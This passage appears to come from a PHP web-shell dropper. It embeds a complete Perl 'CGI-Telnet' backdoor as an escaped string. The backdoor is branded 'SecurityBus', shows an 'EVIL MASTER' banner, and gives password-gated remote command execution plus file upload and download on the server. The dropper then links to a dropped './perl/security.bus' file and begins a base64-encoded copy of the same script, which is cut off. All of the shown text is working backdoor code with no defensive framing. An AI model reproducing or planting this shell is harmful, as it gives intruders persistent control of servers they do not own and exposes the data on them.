split(/\$Boundary/, \$in); \r\n\t\t\$HeaderBody = \$list[1];\r\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\r\n\t\t\$Header = \$`;\r\n\t\t\$Body = \$';\r\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\r\n\t\t\$in{'filedata'} = \$Body;\r\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \r\n\t\t\$in{'f'} = \$1; \r\n\t\t\$in{'f'} =~ s/\\\"//g;\r\n\t\t\$in{'f'} =~ s/\\s//g;\r\n\r\n\t\t# parse trailer\r\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\r\n\t\t{ \r\n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\r\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\r\n\t\t\t\$key = \$1;\r\n\t\t\t\$val = \$';\r\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} = \$val; \r\n\t\t}\r\n\t}\r\n\telse # standard post data (url encoded, not multipart)\r\n\t{\r\n\t\t@in = split(/&/, \$in);\r\n\t\tforeach \$i (0 .. \$#in)\r\n\t\t{\r\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\r\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\r\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\r\n\t\t\t\$in{\$key} .= \$val;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML Page Header\r\n# Argument 1: Form item name to which focus should be set\r\n#------------------------------------------------------------------------------\r\nsub PrintPageHeader\r\n{\r\n\t\$EncodedCurrentDir = \$CurrentDir;\r\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\tprint \"Content-type: text/html\\n\\n\";\r\n\tprint <<END;\r\n<html>\r\n<head>\r\n<title>SecurityBus</title>\r\n\$HtmlMetaHeader\r\n</head>\r\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#000000\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\r\n<tr>\r\n<td bgcolor=\"#C2BFA5\" bordercolor=\"#000080\" align=\"center\">\r\n<b><font color=\"#000080\" size=\"2\">#</font></b></td>\r\n<td bgcolor=\"#000080\"><font face=\"Verdana\" size=\"2\" color=\"#009900\"><b>CGI-Telnet SecurityBus Connected to \$ServerName</b></font></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\" bgcolor=\"#C2BFA5\"><font face=\"Verdana\" size=\"2\">\r\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \r\n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\r\n<a href=\"\$ScriptLocation?a=logout\">Disconnect</a> |\r\n<a href=\"UNITX_TEAM@HOTMAIL.COM\">Help</a>\r\n</font></td>\r\n</tr>\r\n</table>\r\n<font color=\"#009900\" size=\"3\">\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the Login Screen\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginScreen\r\n{\r\n\t\$Message = q\$<pre><font color=\"#ff0000\"> _____  _____  _____          _____        _               _\r\n/  __ \\|  __ \\|_   _|        |_   _|      | |             | |\r\n| /  \\/| |  \\/  | |   ______   | |    ___ | | _ __    ___ | |_\r\n| |    | | __   | |  |______|  | |   / _ \\| || '_ \\  / _ \\| __|\r\n| \\__/\\| |_\\ \\ _| |_           | |  |  __/| || | | ||  __/| |_\r\n \\____/ \\____/ \\___/           \\_/   \\___||_||_| |_| \\___| \\__| 1.0\r\n                                         \r\n</font><font color=\"#FF0000\">                      ______             </font><font color=\"#AE8300\"> 2015, SecurityBus</font><font color=\"#FF0000\">\r\n                   .-&quot;      &quot;-.\r\n                  /            \\\r\n                 |              |\r\n                 |,  .-.  .-.  ,|\r\n                 | )(_o/  \\o_)( |\r\n                 |/     /\\     \\|\r\n       (@_       (_     ^^     _)\r\n  _     ) \\</font><font color=\"#009900\">_______</font><font color=\"#FF0000\">\\</font><font color=\"#009900\">__</font><font color=\"#FF0000\">|*EVIL*|</font><font color=\"#009900\">__</font><font color=\"#FF0000\">/</font><font color=\"#009900\">_______________________\r\n</font><font color=\"#FF0000\"> (_)</font><font color=\"#009900\">@8@8</font><font color=\"#FF0000\">{}</font><font color=\"#009900\">&lt;________</font><font color=\"#FF0000\">|-\\MASTER/-|</font><font color=\"#009900\">________________________&gt;</font><font color=\"#FF0000\">\r\n        )_/        \\          / \r\n       (@           `--------`\r\n             </font><font color=\"#AE8300\">W A R N I N G: Private Server </font></pre>\r\n\$;\r\n#'\r\n\tprint <<END;\r\n<code>\r\nTrying \$ServerName...<br>\r\nConnected to \$ServerName<br>\r\nEscape character is ^]\r\n<code>\$Message\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the message that informs the user of a failed login\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginFailedMessage\r\n{\r\n\tprint <<END;\r\n<code>\r\n<br>login: admin<br>\r\npassword:<br>\r\nLogin incorrect<br><br>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form for logging in\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginForm\r\n{\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"a\" value=\"login\">\r\nlogin: admin<br>\r\npassword:<input type=\"password\" name=\"p\">\r\n<input type=\"submit\" value=\"Enter\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the footer for the HTML Page\r\n#------------------------------------------------------------------------------\r\nsub PrintPageFooter\r\n{\r\n\tprint \"</font></body></html>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Retreives the values of all cookies. The cookies can be accesses using the\r\n# variable \$Cookies{''}\r\n#------------------------------------------------------------------------------\r\nsub GetCookies\r\n{\r\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\r\n\tforeach \$cookie(@httpcookies)\r\n\t{\r\n\t\t(\$id, \$val) = split(/=/, \$cookie);\r\n\t\t\$Cookies{\$id} = \$val;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the screen when the user logs out\r\n#------------------------------------------------------------------------------\r\nsub PrintLogoutScreen\r\n{\r\n\tprint \"<code>Connection closed by foreign host.<br><br></code>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Logs out the user and allows the user to login again\r\n#------------------------------------------------------------------------------\r\nsub PerformLogout\r\n{\r\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\r\n\t&PrintPageHeader(\"p\");\r\n\t&PrintLogoutScreen;\r\n\t&PrintLoginScreen;\r\n\t&PrintLoginForm;\r\n\t&PrintPageFooter;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to login the user. If the password matches, it\r\n# displays a page that allows the user to run commands. If the password doens't\r\n# match or if no password is entered, it displays a form that allows the user\r\n# to login\r\n#------------------------------------------------------------------------------\r\nsub PerformLogin \r\n{\r\n\tif(\$LoginPassword eq \$Password) # password matched\r\n\t{\r\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t&PrintCommandLineInputForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n\telse # password didn't match\r\n\t{\r\n\t\t&PrintPageHeader(\"p\");\r\n\t\t&PrintLoginScreen;\r\n\t\tif(\$LoginPassword ne \"\") # some password was entered\r\n\t\t{\r\n\t\t\t&PrintLoginFailedMessage;\r\n\t\t}\r\n\t\t&PrintLoginForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to enter commands\r\n#------------------------------------------------------------------------------\r\nsub PrintCommandLineInputForm\r\n{\r\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"a\" value=\"command\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n\$Prompt\r\n<input type=\"text\" name=\"c\">\r\n<input type=\"submit\" value=\"Enter\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to download files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileDownloadForm\r\n{\r\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n<input type=\"hidden\" name=\"a\" value=\"download\">\r\n\$Prompt download<br><br>\r\nFilename: <input type=\"text\" name=\"f\" size=\"35\"><br><br>\r\nDownload: <input type=\"submit\" value=\"Begin\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to upload files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileUploadForm\r\n{\r\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\$Prompt upload<br><br>\r\nFilename: <input type=\"file\" name=\"f\" size=\"35\"><br><br>\r\nOptions: &nbsp;<input type=\"checkbox\" name=\"o\" value=\"overwrite\">\r\nOverwrite if it Exists<br><br>\r\nUpload:&nbsp;&nbsp;&nbsp;<input type=\"submit\" value=\"Begin\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n<input type=\"hidden\" name=\"a\" value=\"upload\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the timeout for a command expires. We need to\r\n# terminate the script immediately. This function is valid only on Unix. It is\r\n# never called when the script is running on NT.\r\n#------------------------------------------------------------------------------\r\nsub CommandTimeout\r\n{\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t\tprint <<END;\r\n</xmp>\r\n<code>\r\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).\r\n<br>Killed it!\r\n<code>\r\nEND\r\n\t\t&PrintCommandLineInputForm;\r\n\t\t&PrintPageFooter;\r\n\t\texit;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to execute commands. It displays the output of the\r\n# command and allows the user to enter another command. The change directory\r\n# command is handled differently. In this case, the new directory is stored in\r\n# an internal variable and is used each time a command has to be executed. The\r\n# output of the change directory command is not displayed to the users\r\n# therefore error messages cannot be displayed.\r\n#------------------------------------------------------------------------------\r\nsub ExecuteCommand\r\n{\r\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\r\n\t{\r\n\t\t# we change the directory internally. The output of the\r\n\t\t# command is not displayed.\r\n\t\t\r\n\t\t\$OldDir = \$CurrentDir;\r\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\r\n\t\tchop(\$CurrentDir = `\$Command`);\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t\$Prompt = \$WinNT ? \"\$OldDir> \" : \"[admin\\@\$ServerName \$OldDir]\\\$ \";\r\n\t\tprint \"<code>\$Prompt \$RunCommand</code>\";\r\n\t}\r\n\telse # some other command, display the output\r\n\t{\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\t\tprint \"<code>\$Prompt \$RunCommand</code><xmp>\";\r\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\r\n\t\tif(!\$WinNT)\r\n\t\t{\r\n\t\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\r\n\t\t\talarm(\$CommandTimeoutDuration);\r\n\t\t}\r\n\t\tif(\$ShowDynamicOutput) # show output as it is generated\r\n\t\t{\r\n\t\t\t\$|=1;\r\n\t\t\t\$Command .= \" |\";\r\n\t\t\topen(CommandOutput, \$Command);\r\n\t\t\twhile(<CommandOutput>)\r\n\t\t\t{\r\n\t\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\r\n\t\t\t\tprint \"\$_\\n\";\r\n\t\t\t}\r\n\t\t\t\$|=0;\r\n\t\t}\r\n\t\telse # show output after command completes\r\n\t\t{\r\n\t\t\tprint `\$Command`;\r\n\t\t}\r\n\t\tif(!\$WinNT)\r\n\t\t{\r\n\t\t\talarm(0);\r\n\t\t}\r\n\t\tprint \"</xmp>\";\r\n\t}\r\n\t&PrintCommandLineInputForm;\r\n\t&PrintPageFooter;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function displays the page that contains a link which allows the user\r\n# to download the specified file. The page also contains a auto-refresh\r\n# feature that starts the download automatically.\r\n# Argument 1: Fully qualified filename of the file to be downloaded\r\n#------------------------------------------------------------------------------\r\nsub PrintDownloadLinkPage\r\n{\r\n\tlocal(\$FileUrl) = @_;\r\n\tif(-e \$FileUrl) # if the file exists\r\n\t{\r\n\t\t# encode the file link so we can send it to the browser\r\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\r\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\tprint <<END;\r\n<code>\r\nSending File \$TransferFile...<br>\r\nIf the download does not start automatically,\r\n<a href=\"\$DownloadLink\">Click Here</a>.\r\n</code>\r\nEND\r\n\t\t&PrintCommandLineInputForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n\telse # file doesn't exist\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\tprint \"<code>Failed to download \$FileUrl: \$!</code>\";\r\n\t\t&PrintFileDownloadForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function reads the specified file from the disk and sends it to the\r\n# browser, so that it can be downloaded by the user.\r\n# Argument 1: Fully qualified pathname of the file to be sent.\r\n#------------------------------------------------------------------------------\r\nsub SendFileToBrowser\r\n{\r\n\tlocal(\$SendFile) = @_;\r\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tbinmode(SENDFILE);\r\n\t\t\tbinmode(STDOUT);\r\n\t\t}\r\n\t\t\$FileSize = (stat(\$SendFile))[7];\r\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\r\n\t\tprint \"Content-Type: application/x-unknown\\n\";\r\n\t\tprint \"Content-Length: \$FileSize\\n\";\r\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\r\n\t\tprint while(<SENDFILE>);\r\n\t\tclose(SENDFILE);\r\n\t}\r\n\telse # failed to open file\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\tprint \"<code>Failed to download \$SendFile: \$!</code>\";\r\n\t\t&PrintFileDownloadForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n}\r\n\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user downloads a file. It displays a message\r\n# to the user and provides a link through which the file can be downloaded.\r\n# This function is also called when the user clicks on that link. In this case,\r\n# the file is read and sent to the browser.\r\n#------------------------------------------------------------------------------\r\nsub BeginDownload\r\n{\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\r\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\t&SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\t&PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to upload a file. If the\r\n# file is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it starts the upload process.\r\n#------------------------------------------------------------------------------\r\nsub UploadFile\r\n{\r\n\t# if no file is specified, print the upload form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\t&PrintFileUploadForm;\r\n\t\t&PrintPageFooter;\r\n\t\treturn;\r\n\t}\r\n\t&PrintPageHeader(\"c\");\r\n\r\n\t# start the uploading process\r\n\tprint \"<code>Uploading \$TransferFile to \$CurrentDir...<br>\";\r\n\r\n\t# get the fullly qualified pathname of the file to be created\r\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\r\n\t\$TargetName .= \$PathSep.\$1;\r\n\r\n\t\$TargetFileSize = length(\$in{'filedata'});\r\n\t# if the file exists and we are not supposed to overwrite it\r\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\r\n\t{\r\n\t\tprint \"Failed: Destination file already exists.<br>\";\r\n\t}\r\n\telse # file is not present\r\n\t{\r\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\r\n\t\t{\r\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\r\n\t\t\tprint UPLOADFILE \$in{'filedata'};\r\n\t\t\tclose(UPLOADFILE);\r\n\t\t\tprint \"Transfered \$TargetFileSize Bytes.<br>\";\r\n\t\t\tprint \"File Path: \$TargetName<br>\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tprint \"Failed: \$!<br>\";\r\n\t\t}\r\n\t}\r\n\tprint \"</code>\";\r\n\t&PrintCommandLineInputForm;\r\n\t&PrintPageFooter;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to download a file. If the\r\n# filename is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it displays a message to the user and provides a link\r\n# through  which the file can be downloaded.\r\n#------------------------------------------------------------------------------\r\nsub DownloadFile\r\n{\r\n\t# if no file is specified, print the download form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\t&PrintFileDownloadForm;\r\n\t\t&PrintPageFooter;\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\r\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\t&SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\t&PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Main Program - Execution Starts Here\r\n#------------------------------------------------------------------------------\r\n&ReadParse;\r\n&GetCookies;\r\n\r\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\r\n\$ServerName = \$ENV{'SERVER_NAME'};\r\n\$LoginPassword = \$in{'p'};\r\n\$RunCommand = \$in{'c'};\r\n\$TransferFile = \$in{'f'};\r\n\$Options = \$in{'o'};\r\n\r\n\$Action = \$in{'a'};\r\n\$Action = \"login\" if(\$Action eq \"\"); # no action specified, use default\r\n\r\n# get the directory in which the commands will be executed\r\n\$CurrentDir = \$in{'d'};\r\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\r\n\r\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\r\n\r\nif(\$Action eq \"login\" || !\$LoggedIn) # user needs/has to login\r\n{\r\n\t&PerformLogin;\r\n}\r\nelsif(\$Action eq \"command\") # user wants to run a command\r\n{\r\n\t&ExecuteCommand;\r\n}\r\nelsif(\$Action eq \"upload\") # user wants to upload a file\r\n{\r\n\t&UploadFile;\r\n}\r\nelsif(\$Action eq \"download\") # user wants to download a file\r\n{\r\n\t&DownloadFile;\r\n}\r\nelsif(\$Action eq \"logout\") # user wants to logout\r\n{\r\n\t&PerformLogout;\r\n}\r\n\r\n\r\n");
    echo "<a href='./perl/security.bus'>Here security.bus</a><br>";
    $fileencode1 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iU2VjdXJpdHlCdXMiOw0KDQokUGFzc3dvcmQgPSAiIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMNCgkJCQkjIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX1lbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxMzA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUN